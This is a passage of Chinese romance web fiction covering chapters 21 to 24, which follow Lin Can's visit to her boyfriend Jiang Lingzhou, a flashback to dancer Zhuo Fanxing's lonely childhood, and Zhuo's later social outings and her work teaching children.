鸭舌帽下的眼睛从手机移到她脸上,斜挑的眼睛带着淡淡的打量。后来她奶奶见了他,她才知道,原来那就是丹凤眼,气势逼人,常生在贵人脸上。长了这样一双眼睛的男人,多薄情,喜欢上他要吃大苦头。 可谁能拒绝这样的男人。林灿想,她就是以后年纪大了,想到和这样的人有过一段情,也是很美好的事呀。 以后的事以后再讲啦。这之后,他们已经在一起四年多了。 蒋凌洲将后备箱打开,把她的行李拿上去。 “你准备呆多久?” 林灿转了转眼珠。“舞团近期没有活动,我还有年假没休。” “我是来度假的,你会陪我吗?” “要去很多城市恐怕不行,我会让薛明给你安排。” 林灿已经知足了,高兴地踮起脚在他脸上亲了一口。“我不想跑太远,我是来见你的呀,哈尼。”声音里塞了慢慢一罐的蜜。 蒋凌洲开着车,林灿看了看窗外驶过的路灯,桥下的建筑,还是看向他。 蒋凌洲面无表情的时候显得很冷峻。她不后悔,方才电话过去时,他的冷淡她都听见了,也看在眼里。没关系,她会示弱。 适时的示弱,他总不会将她丢在机场吧。果然,他接到电话就赶来了。 早该这样的,她早该飞过来,也不至于一个人想他这么久。 她一只手伸过去,握住他的。 手指摩挲着然后插入指缝,与他相扣,蒋凌洲睨了她一眼。 “我很想你呀。”她适时的露出一个微笑,还有委屈。怎么能把女友放在外面那么久,离开那么久。 真过分啊。 她举起他的手,在指骨上狠狠咬了一口。 停车的间隙,蒋凌洲疼的皱眉,捻住她的下巴,像是掌控着她,有些冷淡地看她。 她的目光瞬间变得柔软,仿佛刚才露出尖牙的小兽只是幻觉,瞬间收了回去,话说起来这样不是应该更可爱么。她漂亮的杏眼望着他,古灵精怪,在咬过的地方亲了亲,舌头柔软的舔了舔。 蒋凌洲任她舔了几秒,有些无奈地松开手。 适时薛明的电话来了。 林灿气的竖眉。“你让我住酒店!” 薛明一下噤声。蒋凌洲挂了电话,问她:“那你想住哪里?” “当然是你家!不,你住哪里我住哪里!” 她抱胸抬头,气势十足,可这气势在他面前,时间越久就像漏气的皮球,很难撑很久。 “你不会另有新欢了吧!”她眼睛里要蓄出泪来,唇瓣颤抖。 蒋凌洲说:“随你。” “什么叫随我?是要我和你一起住吗?”她得寸进尺。 “你不累么,可以休息一下。” “我不累啊,我见到你我就什么都不累了。” “我要和你住一起!不要把我放酒店啊!”她强调。 蒋凌洲轻笑一声,方才从接到她电话时候开始的不耐逐渐消散。看吧,她还是很有能耐的,不然怎么解释他一直和她在一起。她总是在他要提分手的时候,突然让他发觉出她的可爱之处,像有最敏感的触角,趋利避害到了极致。 真是神奇。 他欣赏地看着她,看着她喋喋不休的嘴唇,在又停在一个红灯的档口,俯身吻住她。 林灿被突如其来的热情包裹,熟悉而又令她迷醉的气息扑面而来,她揪着他的毛衣几乎要哭出来。 这狠心的男人,时时刻刻要与她一刀两断。 她好几次看见他的不耐烦,那股低气压盘旋在他头顶,在他现身的时候,她就感觉到了。 到了蒋凌洲的家中,车子一停稳,她便迫不及待地坐在他身上。 她爬过中间的横杆,细瘦的手臂盘在他脖子上,亲的毫无章法,只觉得他的眼睛、鼻子、嘴巴哪里她都喜欢,恨不得一个吻刻上一个痕迹,她专属的痕迹。 蒋凌洲没有那么急躁,经过很长的一段路,他的热情显然消散不少。他不介意在车里来一次,只是这里没有避孕套,他不想闹的不可收拾。 或者更主要的原因,他今天的心情仍不是很好。 俞秋华的电话打来,林灿立即安分下来。 “是,是,我接到她了她在休假。” 电话里不知说了什么,他看了她一眼。“到时候再说。好的,你们早点休息。” 林灿安静许多,乖巧地问:“我需要去拜访一下伯母吗?” 蒋凌洲将她的行李箱取下来。“暂时没这个必要。” 林灿并不意外这个答案,失落有么,有吧,可是比起见到他的喜悦来说,这算不了什么。早在和他在一起的时候,她就知道他们之间的差距。 她从小的生存哲学就告诉她,要吃到最甜的那颗果子必然要攀到最高的枝丫,这期间跌落摔伤本来就不可避免。关键是要吃到最甜的那颗果子呀。 蒋凌洲对她而言就是那颗最甜的果子。 她有时也会纠结她的眼光中会不会带着些世俗的考量,比如说除了他的那张脸,更关键的是他的钱和权,或者正因为这些东西结合到了一起,才使得她那么割舍不下。 这不是个容易回答的问题,因为她无法假设。正因为他有这样的身世家财所以赋予了他与生俱来的性格特质,当然他的脸也加分不少。 她会爱上一个穷光蛋蒋凌洲吗?她不知道。但她一定会爱上现在的这个蒋凌洲,她是如此坚定地相信着。 蒋凌洲的房子很空旷,他自己并不经常在,装修的风格有些冷硬。 她走进去,脚踩在大理石地面上,冷的瑟缩了下。 她在柜子里找了找,很好,只有两双拖鞋,而且一看就是平平无奇的款式,丝毫看不出任何女人的痕迹。 她快速地选了一双,复式的楼层,楼上都是他的个人空间,一间书房,一间主卧,还有一间空房。她跑到楼上看了一圈下来,蒋凌洲正在喝水。 “你住楼下OK吗?今日先将就一下,明天阿姨会来。” 林灿揉着coco的脑袋,不满道:“coco掉毛,我有鼻炎!” “阿姨每天会打扫好吧,我让她打扫楼上的房间。”他搁下杯子妥协道。 林灿却不满意。“算了,我睡楼下,就是鼻炎又怎么了,反正你也不会关心。” 蒋凌洲说:“明天再说。” 许筠打来电话,蒋凌洲接起来,看了一眼她。“我接到了。”他将手机直接给她。 林灿接过来,朝他吐舌头。那头许筠的声音温柔带笑。“我还想要是他不去,我就过去接你。” 她嘻嘻笑。“我电话一打过去他就来了嗯,现在在他家里。” 蒋凌洲已经一边脱衣服一边上楼。毛衣拿在手上,他一颗一颗解开扣子,林灿叫他的时候,衬衣完全松开,露出劲瘦的胸腹。 “许筠约我们明天吃饭。” “知道了。” 她挂了电话,像只兔子一样爬上去,房间没关,她把地上的衣服捡起来,有些甜蜜地骂道:“好邋遢哦。” 这里的房间和美国的不太一样,她一下把自己甩到床上,柔软的床垫将她弹起。 身体误触到什么,她呀一声,窗帘合上,屋里的灯也暗了。 只见墙上突然出现一块巨大的幕布,少女的影像突兀地出现在上面。 黑白的影像强化了光影的线条,她穿着练功服,面对镜头,眼珠剔透,带着不自知的纯洁与羞涩,像最干净的花一样。《 》 20-30 第21章 ◎小小的繁星◎ 卓繁星什么时候喜欢上的翁乐仪。这个问题连她自己都回想不起来。 初一的时候,姚国平调到了京市,姚家一家人就都跟着搬了去。到了那儿,大人嘴里的蒋家才在她那里具象化。 蒋家有个跟她们年纪差不多的男孩儿,这是她和姚灵均都知道的。 除了舅妈每次送礼的时候都要给他挑一份,她还爱拿他的事来教育姚灵均。这导致在到北京之前的很长一段时间里,姚灵均都对他没有什么好感。 直到见到了本尊 当时的蒋凌洲已经有一米七二了,因为长个子所以显得特别瘦削。 “这就是我两个孙子。”秦奶奶喊他们过来给徐凤和姚家老太太看。 姚灵均看了一眼就低了头,然后又偷偷再看。 十三四岁,正是对男女情事懵懂又憧憬的时候,知色而慕少艾,再正常不过。 卓繁星也不例外 两个男孩儿各有千秋,一个像冰霜,一个像静水。一个轮廓已现锋芒,一个还未长开带着些婴儿肥。 姚家老太太和徐凤什么好词儿都往他们身上堆,还要说些“你小的时候我还抱过你,一眨眼都这么大了。”等等诸如此类的寒暄话。 翁乐仪怀里的猫估计不耐烦了,蹿下来往楼上跑,两个男孩儿顺势上了楼,直到她们走了都没再下来。 那一次,是卓繁星见翁乐仪的第一面。 他手里抱了只肥肥的猫,眼睛下面挂着两个不合时宜的眼袋,跟他怀里的猫一样困倦又慵懒。 后来开了学,她跟他分到一个班才知道他成绩好的出奇,是学校里的年级第一。 但那个时候,他之于她来说太过遥远,她跟初到京里的姚家一样,还在适应突然改变的环境。 她从小跳舞,起初是陪姚灵均,可后来姚灵均坚持不下去了,倒是她还一直跳着。姚家不缺钱,所以即便对她父亲怨怼过甚,却在物质上从未薄待过她。 她跟着父亲的那几年过的并不好 还记得到了姚家的那天,她哭累了睡在姚灵均的床上,第二天姚家的保姆带她去剪了头发,因为她头发里有虱子。这并没有什么不对,只是当她坐在镜子前面,看见保姆叮嘱理发师剃干净的时候。那一刻她的心就像够不到地的双脚,漂泊而无依。 她六岁到了姚家,却直到一年后才见到她的母亲。 姚家对她父母的事讳莫如深。千金小姐爱上了穷小子,暗结珠胎后私奔离家。这样的事,更何况在那个年代。然而姚馨雅并不是真的活在童话故事里的女主角,她生来富贵,(较之卓强可撑得上是富贵),从没吃过苦,生下繁星后不久就幡然悔悟回了姚家,之后出国深造,很少回国。 这一桩事,就像在戏台子上唱戏,主角都一一落幕谢场了。 姚馨雅有了自己的新生活,将卓强和繁星抛在了脑后。过了六年,卓强把繁星给了姚家说:“我养不起她,她跟着我得吃苦,就给你们吧。”随后出了门,也有了自己的新生活。 到了最后,台子上就剩下了繁星一个人。她站在阴影里,看着姚灵均被父母爷奶宠爱着,也有揪着鼻子骂的时候,但只要她一撒娇,什么事儿都没了。 她那时对姚馨雅也是有过幻想的。 她记得父亲跟她说过,他是带她去找妈妈。在绿皮火车上坐的那二十几个小时的时间里,她都还是开心的。 彼时距离她生日还有两三天,她幻想着他们一起给她过生日。 火车到站,在去姚家的路上,卓强带她去买了个圣诞老人的娃娃,带着一个小吸盘能挂在窗户上的那种。 她在家里从来没见过。 商店里面有一棵圣诞树,上面挂了各种颜色的彩球雪花和礼物盒子,直到走出很远,她都还回头看。她觉得那颗树真好看,以为那些礼物盒子里真的有礼物。 后来她的生日过了,姚灵均有了颗小圣诞树,比她上次见到的还好看。上面有小鹿星星,还有她看不懂的英文字,一插上电就能唱歌。她带着她一起看,说这是她姑姑从国外寄回来给她的。 她说她姑姑是个大美女,还是个大画家,会弹钢琴,还会说英语,特别厉害,她以后也要跟她一样。徐凤听见了就斥她,让她们两个赶紧回房间睡觉。 是的,在很长的一段时间里,姚灵均都不知道她就是她姑姑的女儿。因为她那时像个黑皮猴子,剃光了头发后就更加难看,她无论如何都无法将她和姚馨雅女士联系起来。 只是她住了很久一直不见离开,没多久又放寒假,有个玩伴,姚灵均也觉得开心。可是开学后到了幼儿园,放学的时候她抱着徐凤的脖子问她什么时候走啊。 徐凤奇怪,她哭着说她不想跟她玩了。 班里的小朋友给繁星起了个外号叫卤蛋,因为她黑黑的皮肤和光光的脑袋。她普通话说的不好,带着浓浓的乡音,小孩子模仿她讲话,都说姚灵均,你怎么有这样的姐姐啊。 那大概是卓繁星最孤单的一段时光。 姚灵均也还是个孩子,她不懂事,却又能最直接的趋利避害。她排斥着繁星,就是这个人让她在学校被人笑了。到了晚上睡觉的时候,等保姆和徐凤都走了,她就把繁星的被子掀开。 “你回你自己家去,你没有家吗?你不要呆在我家了。”她把她赶下床,不让她睡她的床。 繁星穿着棉毛衫棉毛裤哆哆嗦嗦地站在地上 那时候将将三月,前两天还下了场雪。 姚灵均敞着大字占着床,繁星把衣服穿上,坐在她卧室里的小椅子上,等她迷迷糊糊睡过去了才偷偷跑到床上。天亮了之后,保姆进来喊人,发现她发了烧,赶紧带她去了医院。 那阵子起了流感,幼儿园里几个小孩子也都请了假。徐凤怕姚灵均也被传染了,把她抱到自己屋里睡,直到卓繁星病好了才将她送回去。 姚灵均心虚,怕繁星告状,这才安生下来。只是之后不久,她就央着徐凤,她不要和她一起睡,要她去姑姑的房间。徐凤磨不过她,把姚馨雅的房间收拾出来,但是没想到繁星睡了两个晚上就尿床了,她不敢一个人睡。 现在想起,可能也就一笑,而在当时,对于六岁的她而言,当保姆把她剥干净了,姚灵均捂着嘴笑她羞羞的时候,她通红着脸,身体却像木偶一样僵硬。 姚馨雅回来的时候,繁星已经上小学了。她的皮肤白了,能看出她的影子。除了短短的头发,让她穿裙子的时候有些不伦不类,大多数时候她安静的呆着,让姚家人也习惯了她的存在。 徐凤在这些东西上头一碗水端平,姚灵均上的什么兴趣班,让繁星也一道去,所以她跟着姚灵均一道学钢琴,一道学跳舞。一个学期结束,兴趣班组织汇演,姚灵均顶着背景板当了一朵蘑菇,卓繁星却成了主演的小王子。 回来的时候,徐凤拧着姚灵均的耳朵,直骂她不争气,白花了她一个下午的时间特地做了头发换了衣服去看她表演。姚灵均被她弄得大哭,扑到爷爷奶奶怀里说不学跳舞了,她再也不要学跳舞了。 繁星站在边上看着他们,两只手缩在背后,脸上的妆还没洗掉,红彤彤的胭脂挂在两颊,额心还有个小红点。 “王姐。”徐凤看了她一眼,喊着保姆让她赶紧带她去把脸洗了。 那之后,这样的事情就再也没有了。繁星的钢琴学的慢,可姚灵均还是不想再学跳舞了。她受不了压腿的疼,每次回来都挂着眼泪珠子。磨磨蹭蹭又过了一个月,她耍赖不去,徐凤没办法,随她去了。 繁星担心了很久,直到姚馨雅回来了。徐凤跟她说家里把她照顾的很好,夸她身子软舞跳得好,老师说是个好苗子,要好好培养。 繁星被推到姚馨雅跟前,她看着眼前这个漂亮女人,不止是漂亮,应该说是她所见过最好看的女人了。她穿的衣服时髦洋气,披着长卷发,那时才刚刚迈入千禧年不久,国人的衣着打扮还没有像她这样的。 然而她只是看了她一眼,便对着徐凤说:“辛苦嫂子了。” 到了晚上,她回了房间。繁星已经洗漱完躺在了床上,她后来没再尿床了,只是每次睡觉都开着灯。 她缩在被子里只露出两只眼睛,手指扣的紧紧的,既紧张又期待。 姚馨雅在门口愣了愣,说了声晚安后便退了出去,关上门的时候顺便把灯也关了。 繁星沉在黑暗里,听见她下楼的脚步声。她眼睛里滚着泪,嘴巴张开,无声地喊着爸爸。 他说:“灿灿,你留在这儿,妈妈马上回来了,你不是一直想见妈妈吗?” 繁星说:“我们一起等她。” 卓强:“爸爸有事情要办,不能跟你一起等,你在这儿等着好不好。” 她不肯:“那我们一起走,然后再回来,等妈妈回来了再回来。” 卓强:“不行!爸爸有重要的事,不能带着你。这儿有姥姥姥爷,还有好吃的糖,你刚刚不是说这个巧克力好吃吗,要是在这里就能一直吃了。” 她把兜兜里的糖拿出来:“我不要,我不吃糖了,我也不要吃巧克力了,我不吃巧克力了。” 卓强凶道:“你不听话了?” 她眼泪刷刷地往下淌,捂着眼睛说:“我不要吃巧克力了,我们一起走嘛,我们一起嘛。” 【爸爸,我们一起走吧。】 这是那时的卓繁星最后的寄托,可是她没等来他。 时间像把最锋利的刀把心里柔软的那部分都割除了,只留下最坚硬的地方。过往的她有多渴望,有多期盼,只有她知道。 【作者有话说】 算繁星小时候的番外吧 第22章 ◎第四面(一)◎ 林灿点了只香烟,悠悠哉哉地抽完。 多好的事啊,蒋凌洲心里果真有那么一个女孩儿,可她好像已经死了呀。 puy 她在蒋凌洲从浴室出来的时候迎上去,揽着他潮湿的肩膀。 他身上的水珠还没完全擦干,还有从他头发上落下来的。细长的指甲划过,捏起肌肉,她埋在他肩窝,深深地嗅了一口。一想到等下她身上也是这样的味道,她心潮澎湃,踮起脚尖啄吻他的下巴。 被推开了也没有生气。 “我去倒杯酒,你要吗?” 开心地像只花蝴蝶一样飞了下去。 还不知道自己已经被定义为死人的卓繁星,正在和同事在会所里追求刺激。 字面意思上的,原谅她老土,这毕竟是她寻常,不,是从不涉足的地方。若非老板请客,她死也不会进来。想到要花钱在男人身上,她就心痛。毕竟她的买房大业进展只有百分之一,实在支持不了她去寻欢作乐。 正是因此,免费的机会若不蹭,更觉遗憾。所以聚餐结束后,何安琪一提议,她就老实地跟了过来。 无论怎么说,该好奇的还是好奇。先前网上看了好多次的猛男秀,她虽然对铺面而来的**觉得有些油腻,但是如果是偶尔欣赏一下也是可以的。 女人啊,总有荷尔蒙冲动的时候。卓繁星有时候也会怀疑自己是不是冷感的人。总而言之,她想要试试。 何安琪大气地拍拍荷包:“随便点,今天消费何老板买单。” “老板大气呀。”潘潘盯着一个斯文禁欲系的精英男打扮帅哥蠢蠢欲动。 “繁星姐,你点哪个?” “哪个?”她迟钝的表情用来缓解尴尬,她还要怂恿。“快点呀,点呀。我看那个肌肉型男也不错。” “什么?”卓繁星顺着她手指看过去,衬衫被撑的快要裂开,紧紧地锢在他身上,看见她们看过来,自信地扬了扬头。 卓繁星表示敬谢不敏。 她扫过站在一排末尾的男人,一个长相清秀,头发微卷的男孩儿进入她的视野。 给她的感觉像第一次见到的翁乐仪。 那时候放假,他和蒋凌洲一道被长辈叫下来见客人。红色的Polo衫,领口都没翻好,皱巴巴,像是刚套上去的。牛仔短裤下一双瘦长的腿,穿着拖鞋,浑身都透着心不在焉地敷衍。 怀里的蓝猫,机敏的瞳孔看过她姥姥、舅妈,最后落在灵均和她身上,和它的主人一样。 “你好。”他有些生涩地打招呼,目光落在她们脸上一瞬就低下头。 猫跑了,他跟着追上去,之后就没下来过。 她诧异自己对他的初次印象竟然这样深。或许是因为他偏异域的长相,高挺的鼻梁用后来的话讲就是可以滑滑梯,关键他还有一头微卷的头发。 她第一眼就对他好奇。人与人之间或许就是有磁场的,她注定了要被他吸引。 何安琪啧啧两声。“看不出来,你喜欢弟弟啊。” 卓繁星脸红。 那个男孩子马上顺杆爬,显示出与乖巧外表截然不同的灵活来。“我也喜欢姐姐呀,就喜欢这样漂亮的小姐姐。姐姐叫什么名字呀?可以叫我Akio。” 卓繁星喝了一口苏打水,还是不一样,开口就不一样。 她问他:“你会什么乐器吗?” 小男孩儿明显愣了下。“我会弹吉他。情非得已,姐姐要听吗?” “会吹萨克斯吗?” “啊?” “小号?” 他被她问倒。何安琪听了更是笑晕过去。“你干嘛?招音乐老师呢。” 卓繁星一笑,放松许多。 小帅哥坐在她身旁,不知有意无意,膝盖总是碰到她的。卓繁星看着他,问:“你几岁?” 得知对方只有二十岁,大学在读,估计是生活费开销不够,跑出来做兼职。 他对卓繁星显然更感兴趣,不知道哪里变出来的玫瑰花,递到繁星面前。卓繁星眼前一亮,被他的心思逗笑,接过来没放茶几上,反而拿在手里把玩。 “姐姐是舞蹈老师?”他的声音就在耳朵边,卓繁星扭过头发现他离得很近,几乎贴着她的发丝。 他愣了愣道:“姐姐,你眼睛真漂亮。” 卓繁星往后躲了躲,避开他伸过来的手,又觉得尴尬。 大家都是来寻欢作乐的,太正经了很破坏气氛啊。 对面何安琪已经被拿着手在看手相,潘潘红着脸在摸人腹肌,那精英男表面看不出,解开衬衫,里面的腹肌块块分明。 她撑着额夸他:“你也很漂亮。” 小帅哥瞬间亮了眼睛,估计误会了,凑近低语:“我也有,姐姐要不要摸一摸?” 卓繁星诚实地没有拒绝。 她感受到指尖下的肌肉收紧,配合着加重的呼吸。昏暗的灯光营造出暧昧的氛围,小帅哥侧过身,一只手抬起枕在脑后,把半张脸埋进去。 再抬起来的时候,黑暗里的眼睛亮的惊人。 卓繁星感觉到自己的手被握住,他凑上来要亲她。 她避开,这才有些脸红。“我去趟卫生间。”她走出去,好靡醉啊她感叹道。 没想到上卫生间的功夫,遇见邵丽丽。 “你怎么在这儿啊?” 卓繁星讲了之后,她哈哈大笑。“不知道谁泡谁。不过这里的男人都很现实的,你别当真啦。” 这时走过来一个男的,邵丽丽喊了声钱少。 卓繁星看过去,那人穿着一件骚包的红底花衬衫,外搭绒面西装,一头半长的头发,很有点千禧年风潮。 最近流行复古吗,繁星想,要是再配一幅**镜,他可以去拍画报了。 “卓繁星?”复古男人开口。 卓繁星眨巴眼睛,实在没想起来。 “我,钱琦正呀。” 卓繁星大脑里恍恍惚惚地飘过一个人影。《满庭芳》里面的一个男配角,那时候在剧组里呆过一段时间。她是做舞替的,兼职订盒饭,所以基本都混了个脸熟。 “你好,好久不见了。”她挂上客气的笑。 “是啊,多少年了。庆功宴上也没见你,你去哪儿了?现在在哪儿工作?” 卓繁星说:“回老家了,我老家这儿的。” “噢。”他看了眼她,又看了眼邵丽丽。“你们朋友?” “是。” 他笑了下,把手机掏出来。“要不咱加个微信吧,难得遇上,以后一起吃个饭。” “好。”卓繁星没想到他这么热情,当时剧组里也不过是点头之交,不过当时都没成咖,也说不上什么耍大牌的。 她想着估计就是点面子话,加了微信就躺尸,无所谓加不加。 他走之后,邵丽丽显得很兴奋。 “你和他什么关系呀?” 卓繁星简单说了,她说:“这人是mcn公司的股东,手里好多资源,杰米哥都要巴结他。” “你把他微信推给我吧。颇里思!”她做祈祷状。 卓繁星被她逗笑。“知道了。他加不加是他的事儿啊。” “知道知道,幸亏有你,回头请你吃饭。”她高高兴兴地跳走了。 第23章 ◎第四面(二)◎ 卓繁星没想到一次追求刺激会收获两朵烂桃花。 卓繁星看着小帅哥发来的腹肌照,ck短裤被一只拇指往下勾,露出浓密的毛发,着实吓得她扔掉了手机。 她试探地询问潘潘,会所里的精英男可有和她联系。 她说她没加微信。“怎么?你那个弟弟联系你了吗?” 她敏感地察觉到,卓繁星果断摇头。“当然没有。” “我觉得那个男的有点世故,玩玩就好了,再说,那天他们都看见是何姐请客,我们两个又没钱,他们目标才不会在我们身上。” 听着还是略遗憾呀,卓繁星看着她那张小嘴。 “不过,我觉得就那么回事,那个腹肌其实楼上健身房也有好多呀。不如办卡,那点钱那边开瓶酒都不够呀。你觉得呢?繁星姐。” 分明是贼心不死。 卓繁星夸她:“真的很机智了。” “嘿嘿。” 小帅哥的信息可以不回,钱琦正的却不能当做没看见。在礼貌回复了两句后,这厮很快就像卓繁星发出了邀约。 通过他的朋友圈,卓繁星想他果然混的不错,不是在国外度假,就是与高端人士合影,其中不乏明星之流。最近的就有参加倪玉城新片首映礼。 配文【昔日好友重聚,倪导十年磨一剑,诚意之作。鼓掌鼓掌。尤记当年一起创作,连续熬大夜,为了几秒钟的画面守在摄影机前的场景。感谢这个世界还是给了创作者机会,证明好的作品终会被看见。祝贺新片大卖。撒花撒花!】 卓繁星一囧,她怎么记得当时他就是个配角,熬大夜的事没有他。倒是她,有一场晚宴舞戏,连拍了两个晚上,累成狗。 卓繁星婉拒了他的邀约,认认真真搬砖。 那天周末,她照常上完舞蹈课,换完衣服出来看见嘉嘉坐在沙发上掉眼泪。她边上一个中年妇女哄着,舞蹈社的人都认识,是经常来接她的保姆,姓李。 “爸爸马上来了,你听话,跟我先下去等他,好不好?”李阿姨哄着人,一只手挎着小书包,一只手拿纸巾给她抹眼泪。 嘉嘉哭的一抽一抽:“他说过要来接我的。” “这不是堵车了吗,他不是不来,嘉嘉最听话了,对不对?” 然而她好话说尽了还是没用,叹了口气把手机拿出来:“喂,小齐啊,你跟嘉嘉说说。” 她把手机对着孩子,卓繁星听到里面传来男人的声音,喊着乖宝,劝着:“爸爸马上就到了,你跟李奶奶先去商场里的游乐园玩一会儿,我们晚上吃披萨还有冰淇淋,爸爸位置都订好了。” 然而嘉嘉捂着眼睛,扭着身子不看他。 试了几遍没用,李阿姨只能把手机收回来,“哎呦,小齐呀,我真是说什么都不管用,你还要多久啊?” 卓繁星知道今天是嘉嘉生日,因为工作室会给每一个过生日的孩子准备一个玩偶,还有和商场蛋糕店合作的蛋糕券。 而且上课之前,这个小姑娘就跟玩的好的小朋友说了好几遍,还告诉了她,想邀请她一道去过生日,表现的比平日更加活泼开心。 “嘉嘉……”李阿姨已经有些累了,她坐到她边上,看到繁星她们,有些抱歉地笑了一下。“老师们都要下班了,要关门了,咱们先走吧好不好?” 嘉嘉还是哭,粉色的小舞鞋耷在沙发上,她身上披着外套,两条穿着白丝袜的腿带着孩子独有的细弱。 “小祖宗哎,咱们把裤子穿上,我带你去下面游乐园玩,再给你买甜甜圈好不好?”她撑着裤子,耐心耗尽。“老师也要下班吃晚饭呢,你这样李奶奶要生气了啊。” 嘉嘉听了抽的更厉害,“我要爸爸,我要爸爸。” 小孩子哭容易接不上气,李阿姨看她脖子都红了反倒把自己吓的不轻。 “先喝口水。”卓繁星把纸杯递过去,她赶紧接过来喂给她。 “小祖宗哎小祖宗。”她给她顺着胸口,眉毛都快拧成了疙瘩。 潘潘送了包纸巾过来,繁星抽了一张给孩子擦脸,哭了一通,额头上都冒汗了。李阿姨把衣领拉起来摸了摸她后颈,果不其然里头也潮了。 “卓老师。”嘉嘉一开始还躲,看见是繁星,瘪着嘴没反抗。 “不是要请老师吃生日蛋糕吗?” 小姑娘愣了愣:“嗯啊……可是,你不是说晚上有事不能去。”她声音都有点哭哑了。卓繁星为自己找借口推拒而感到小小的羞愧。 “稍微迟一点没事,但是老师现在饿了,你先陪我去吃点好不好?” 终于哄着小姑娘把裤子穿上出了门,李阿姨给她重新扎了头发,电梯上繁星被她牵手粘着,惹得李阿姨跟她一连道歉说麻烦了。 先是到蛋糕店买了甜甜圈和奶茶,然后带着孩子去了游乐园。 齐帆在车上收到李阿姨发来的视频,脸上焦急的神色终于缓了下来。 翁乐仪在后排坐着,看见他点开视频,又听了语音,视频声音嘈杂,但隐隐能听见孩子的笑声。 “哄好了?”坐翁乐仪身边的是公司的财务总监,快五十岁的一个女员工,姓古,她和齐帆熟的很,知道他家里有个宝贝女儿。 “不容易啊。”齐帆笑了下,假装抹了把汗。“还多亏了舞蹈社的老师,嘉嘉很喜欢她,等空了我得请人吃个饭谢谢人家。” “舞蹈老师?”古姐挤了下眉毛。“女的?” 齐帆点头。 “长得怎么样?有对象没?” 他还没转过弯来。“我不知道啊,你问这个干什么?” “你个榆木脑袋,合适就处处呗,你家里就是缺个女人,再说嘉嘉喜欢,你工作那么忙,总有顾不到的时候。” 齐帆摸了摸后脑勺,笑了两声就含糊过去了。他也没不好意思,主要是没少被她做介绍,女人到了年纪估计都有当媒婆的潜质。再说,她最近烦的人也不是他。 他在后视镜里和翁乐仪对了下眼神,果不其然就听见古姐继续道:“不知道咱们小翁总喜欢什么样的姑娘,我们Y城漂亮姑娘可多了,娶一个回去做我们这儿的女婿。” 翁乐仪听了勾了勾嘴角,他虽不至于耳朵起茧子,但也听了好几回了,不至于像刚听见那样有些尴尬不知该如何接话。 车子开到工作室附近的商圈,齐帆先下了车。他把车门关上没马上走,躬身跟里头又道了别,看车子开远了才往里走。 11月了,天黑的早,商店里的灯都早早亮了起来。 李阿姨说人已经在订好的西餐厅等着了,老师要走,但嘉嘉不肯。 他穿过长长的一段路,到了西餐厅门口,透过玻璃门看见嘉嘉笑着脸。她两只大大的眼睛弯成了月牙,还露出了一只小酒窝。 一只白皙细长的手指伸过来给她擦着嘴巴边上的巧克力酱,他顺着看过去,手的主人有一张皎好的脸庞,或许是屋内灯光太过温暖,使她看起来分外柔和。 他站定,脑子里鬼使神差地想到下车前古姐的话。 卓繁星没有和他们一起吃饭,等齐帆来了,她便起身告辞。临走前,嘉嘉在她脸上亲了一下,摸了摸她的脸,说生日快乐。 在游乐场的时候,李阿姨跟她说了些这孩子的事。嘉嘉妈妈是意外怀孕,那时候爸爸还在读书。孩子生下来两人就散了,妈妈之后再嫁,早就把女儿忘到天边去了。 李阿姨说这个的时候叹了口气:“小齐是个有上进心的,把嘉嘉当眼珠子一样看着,但是工作太忙太拼也不好,孩子又没了妈,总是对她成长不好的。” 卓繁星看着从滑滑梯上滑下来的孩子——她朝她招了招手,大大的笑容像朵盛开的向日葵。她有一瞬间的怔忪,回应地朝她挥了下手臂,转头对李阿姨说:“还好还有齐先生在。” 卓繁星没问过邵丽丽有没有加上钱琦正的微信,她觉得被追这件事有点尴尬,而她明显不打算接受他的追求。 邵丽丽问起她的时候,她嘴唇抵在水杯上,很机敏地抬了下眼睛。 果然沙发上的人趴在扶手上,对着她眨眼。 “他问我你是不是有对象了?不然为什么约不出来。” “他在追你。”她很笃定。 卓繁星说:“我对他没感觉。” “拜托。”邵丽丽翻了个白眼。“你又没和他相处过。” “他身家不错,长得也还行。妥妥的钻石王老五啊。” 卓繁星实际觉得他像一只开屏的孔雀,还有点油腻。“我觉得他太潮了。我不喜欢太潮的。” “他们这个环境就这样,身边都是会打扮的。” “那你和那个医生怎么样了?” 卓繁星说:“没什么后续。” “那你不如试试,就先接触一下呗。人总要了解了再下决定啊,说不定你对他就有改观呢。” 卓繁星黑溜溜的眼睛看的她心虚,她撇撇嘴,无奈地摊手。“好吧,好吧,我是来当说客的。不过是这么个理啊。你反正在相亲,那干嘛不接触一下,又不吃亏。” “试试吧,卓总。他想约我们周末去岛上玩。咱看不上就看不上,就去玩一趟行不?” 卓繁星被她粘在屁股后面。 “为了姐们儿的事业,颇里思!” 又来。 卓繁星白了她一眼,无奈点头。 第24章 ◎第四面(三)◎ 那天出发,钱琦正开了辆大G来接,车子很大,像个小坦克一样趴在路上。 他一下车,皮夹克,墨镜,脖子上挂着一条银链子。卓繁星又被狠狠地潮了一下。 邵丽丽问:“就我们几个人?” “还有几个朋友,你们没见过,到时候认识一下。” 他眼睛全在卓繁星身上,好在没有急着出击。把她们两个行李放好,副驾驶上放着他自己的包。卓繁星生怕他要打开副驾驶让她坐。 “今天我就给两位美女当司机。” 他在后视镜上一眨眼,邵丽丽笑的坏,一只手暗暗捏卓繁星。卓繁星又开始后悔了。 卓繁星不是没被人追过,大学里好看的姑娘总是不缺人追的。可是她封心锁爱,加上舞蹈学院不缺美女,男生被打击个三五回,也就放弃了。 出了社会,男人们就更考虑时间成本。像上次的赵医生,经受一次拒绝,便不会多纠缠,她觉得这位也差不多。 心态放平,路边的风景也好起来,就当去度假啦。 出了市区,开了一个钟头,很快就见到海了。 天气很好,阳光洒在海面上,远处大型的渔船伸展着钢铁手臂,像章鱼一样。天很蓝,纯澈透明,她将窗户放下来拍了几张照,总觉得不是特别好,拍不出真实的美。 钱琦正似乎看懂了,安慰道:“等到了咖啡店你们再好好拍,那边角度好,拍出来的照片好看。” 七拐八拐,终于到了他口中的咖啡店。 邵丽丽说:“我在xhs上看到过这家,超火的。” 卓繁星想她在Y市多年,却连周边都没怎么去过。不过大家好像都是这样,总是期待去远方旅行,好像这样才有意义。 “我们晚饭在这里吃,这里夜景很好看,黄昏的时候能坐在平台上看海,很漂亮。” 钱琦正点了单回来,墨镜摘下来,捋了一把头发。“这是我一个朋友开的,下次你们想过来和我说一声,我叫他给你们留位置。” 邵丽丽配合的惊喜道:“那就沾钱少的光了。” 没一会儿就开过来一辆车,车上下来一对情侣还有一个姑娘,都是钱琦正的朋友。 